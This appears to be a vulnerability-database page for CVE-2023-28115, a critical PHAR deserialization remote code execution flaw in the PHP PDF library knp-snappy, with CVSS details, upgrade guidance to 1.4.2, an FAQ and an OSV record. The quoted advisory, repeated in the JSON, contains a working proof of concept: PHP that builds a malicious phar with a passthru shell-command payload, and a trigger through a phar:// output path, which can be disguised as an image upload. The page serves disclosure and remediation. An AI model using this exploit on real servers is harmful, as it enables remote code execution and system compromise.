CVE-2023-28115: Knplabs/knp snappy Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-gq6w-q6wh-jggc
CVSS 9.8
CWE-502
Published
Advisory Summary

CVE-2023-28115 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Knplabs/knp snappy libraries in the Packagist ecosystem. The issue involves phar deserialization allowing remote code execution. Remediation is available by upgrading affected packages to version 1.4.2.

CVE-2023-28115 at a Glance

CVE Identifier CVE-2023-28115
GHSA Identifier GHSA-gq6w-q6wh-jggc
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Knplabs/knp snappy
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2023-28115

To remediate this vulnerability, upgrade all affected Knplabs/knp snappy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

knplabs/knp-snappy fixed: 1.4.2
Upgrade knplabs/knp-snappy to 1.4.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for knplabs/knp-snappy

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-28115, inspect your project dependencies for Knplabs/knp snappy:

inspect dependencies for knplabs/knp-snappy

Analyze the terminal output to locate any version of Knplabs/knp snappy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Knplabs/knp snappy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization. ## Proof of Concept Install Snappy via composer require `knplabs/knp-snappy`. After that, under snappy directory, create an `index.php` file with this vulnerable code. ```php <?php // index.php // include autoloader require __DIR__ . '/vendor/autoload.php'; // reference the snappy namespace use Knp\Snappy\Pdf; // vulnerable object class VulnerableClass { public $fileName; public $callback; function __destruct() { call_user_func($this->callback, $this->fileName); } } $snappy = new Pdf('/usr/local/bin/wkhtmltopdf'); // generate pdf from html content and save it at phar://poc.phar $snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar'); ``` As an attacker, we going to generate the malicious phar using this script. ```php <?php // generate_phar.php class VulnerableClass { } // Create a new instance of the Dummy class and modify its property $dummy = new VulnerableClass(); $dummy->callback = "passthru"; $dummy->fileName = "uname -a > pwned"; //our payload // Delete any existing PHAR archive with that name @unlink("poc.phar"); // Create a new archive $poc = new Phar("poc.phar"); // Add all write operations to a buffer, without modifying the archive on disk $poc->startBuffering(); // Set the stub $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();"); // Add a new file in the archive with "text" as its content $poc["file"] = "text"; // Add the dummy object to the metadata. This will be serialized $poc->setMetadata($dummy); // Stop buffering and write changes to disk $poc->stopBuffering(); ?> ``` Then run these command to generate the file ```php php --define phar.readonly=0 generate_phar.php ``` Then execute index.php with `php index.php`. You will see a file named `pwned` will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick. ## Impact This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains. ## Occurences <https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670> ## References - <https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/>

CVE-2023-28115 Affected Knplabs/knp snappy Versions

1 component(s)
Fixed Versions:
1.4.2
Product / Package Ecosystem Affected Versions Fixed Version
knplabs/knp-snappy
Packagist
< 1.4.2
1.4.2

References

Frequently Asked Questions

What is CVE-2023-28115?
CVE-2023-28115 is a security vulnerability in Knplabs/knp snappy involving PHAR deserialization allowing remote code execution under CWE-502: Deserialization of Untrusted Data.
Which Knplabs/knp snappy versions are affected?
Affected versions include releases prior to 1.4.2 across affected packages: knplabs/knp-snappy.
What version fixes CVE-2023-28115?
Upgrading to 1.4.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is knplabs/knp-snappy affected?
Yes, knplabs/knp-snappy is affected in releases prior to 1.4.2. Upgrade your dependency to 1.4.2 or later.
What is the CVSS score of CVE-2023-28115?
CVE-2023-28115 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-28115?
CVE-2023-28115 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check Packagist dependencies for CVE-2023-28115?
Run the dependency tree command: 'inspect dependencies for knplabs/knp-snappy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gq6w-q6wh-jggc",
  "modified" : "2023-03-20T13:59:30Z",
  "published" : "2023-03-17T18:24:24Z",
  "aliases" : [ "CVE-2023-28115" ],
  "summary" : "PHAR deserialization allowing remote code execution",
  "details" : "## Description\n\nsnappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization.\n\n## Proof of Concept\n\nInstall Snappy via composer require `knplabs/knp-snappy`. After that, under snappy directory, create an `index.php` file with this vulnerable code.\n\n```php\n<?php\n// index.php\n\n// include autoloader\nrequire __DIR__ . '/vendor/autoload.php';\n\n// reference the snappy namespace\nuse Knp\\Snappy\\Pdf;\n\n// vulnerable object\nclass VulnerableClass {\n    public $fileName;\n    public $callback;\n\n    function __destruct() {\n        call_user_func($this->callback, $this->fileName);\n    }\n}\n\n$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');\n// generate pdf from html content and save it at phar://poc.phar\n$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');\n```\n\nAs an attacker, we going to generate the malicious phar using this script.\n\n```php\n<?php\n// generate_phar.php\n\nclass VulnerableClass { }\n// Create a new instance of the Dummy class and modify its property\n$dummy = new VulnerableClass();\n$dummy->callback = \"passthru\";\n$dummy->fileName = \"uname -a > pwned\"; //our payload\n\n// Delete any existing PHAR archive with that name\n@unlink(\"poc.phar\");\n\n// Create a new archive\n$poc = new Phar(\"poc.phar\");\n\n// Add all write operations to a buffer, without modifying the archive on disk\n$poc->startBuffering();\n\n// Set the stub\n$poc->setStub(\"<?php echo 'Here is the STUB!'; __HALT_COMPILER();\");\n\n// Add a new file in the archive with \"text\" as its content\n$poc[\"file\"] = \"text\";\n\n// Add the dummy object to the metadata. This will be serialized\n$poc->setMetadata($dummy);\n\n// Stop buffering and write changes to disk\n$poc->stopBuffering();\n?>\n```\n\nThen run these command to generate the file\n\n```php\nphp --define phar.readonly=0 generate_phar.php\n```\n\nThen execute index.php with `php index.php`. You will see a file named `pwned` will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.\n\n## Impact\n\nThis vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.\n\n## Occurences\n\n<https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670>\n\n## References\n\n- <https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "knplabs/knp-snappy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-28115"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/pull/469"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/commit/b66f79334421c26d9c244427963fa2d92980b5d3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-28115.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/KnpLabs/snappy"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/KnpLabs/snappy/releases/tag/v1.4.2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-gq6w-q6wh-jggc"
  }, {
    "type" : "WEB",
    "url" : "https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-03-17T18:24:24Z",
    "nvd_published_at" : "2023-03-17T22:15:00Z"
  }
}